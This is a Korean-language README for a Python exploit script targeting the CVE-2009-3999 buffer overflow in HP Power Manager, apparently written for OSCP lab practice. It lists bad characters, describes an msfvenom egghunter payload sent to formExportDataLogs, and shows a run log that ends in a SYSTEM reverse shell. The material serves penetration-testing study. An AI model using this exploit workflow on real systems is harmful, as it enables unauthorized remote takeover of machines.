
CVE-2009-3999를 위한 Python으로 작성된 자동 스크립트
OSCP 준비 과정에서 CVE-2009-3999(HP Power Manager 4.2(Build 7) 버퍼 오버플로우 익스플로잇)을 접하게 되었습니다.
이 최신 스크립트는 문자열과 바이트 처리에 관한 Python 3 호환성 문제를 해결하기 위해 업데이트되었으며, 페이로드가 원시 바이너리로 전송되어 메모리 손상을 방지하도록 합니다.
이 버전은 올바른 배드 캐릭터(\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c)를 포함한 셸코드를 동적으로 생성하는 자동화된 msfvenom 통합 기능을 제공하며, 이를 전문화된 Egghunter에 연결하고 최종 페이로드를 formExportDataLogs 엔드포인트에 POST 요청을 통해 전송합니다. 교육용 및 보안 감사용으로 설계되었으며, 셸코드 생성과 리스너 시작을 하나의 도구에서 처리하여 익스플로잇 워크플로우를 단순화합니다.
usage: python3 CVE-2009-3999.py <TARGET-IP> <TARGET-PORT> <LHOST> <LPORT>
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/kevin]
└─# python3 exp6.py 192.168.147.45 80 192.168.45.183 4444
[*] Generating msfvenom payload for 192.168.45.183:4444...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a nil character
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of python file: 1953 bytes
[+] Sending exploit to 192.168.147.45:80
[+] Exploit sent. Starting listener on 4444...
listening on [any] 4444 ...
connect to [192.168.45.183] from (UNKNOWN) [192.168.147.45] 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system